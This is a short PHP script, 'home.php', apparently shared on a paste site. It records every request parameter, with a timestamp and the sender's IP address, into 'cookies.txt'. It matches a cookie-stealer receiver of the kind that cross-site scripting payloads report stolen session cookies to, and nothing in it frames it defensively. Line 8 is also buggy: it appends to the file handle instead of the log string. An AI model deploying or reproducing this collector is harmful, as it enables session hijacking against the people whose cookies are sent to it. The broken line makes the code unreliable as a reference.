home.php 250 B

1234567891011121314
  1. <?
  2. $out=fopen("cookies.txt","a");
  3. if($out==NULL) die("ouch!");
  4. foreach($_REQUEST as $k=>$v){
  5. $log=date("r",time())."|";
  6. $log.=$_SERVER["REMOTE_ADDR"]."|";
  7. $log.="$k";
  8. if(strlen($v)) $out.="|$v";
  9. $log.="\n";
  10. fputs($out,$log);
  11. }
  12. fclose($out);
  13. ?>